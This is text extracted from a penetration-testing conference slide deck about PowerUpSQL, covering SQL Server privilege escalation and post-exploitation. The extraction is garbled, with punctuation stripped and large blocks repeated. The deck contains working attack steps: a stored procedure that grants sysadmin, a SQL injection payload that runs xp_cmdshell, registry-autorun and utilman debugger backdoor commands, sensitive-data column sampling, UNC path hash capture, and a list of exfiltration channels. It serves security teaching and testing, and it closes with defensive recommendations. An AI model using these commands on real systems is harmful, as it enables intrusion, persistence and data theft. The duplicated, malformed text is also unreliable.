privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
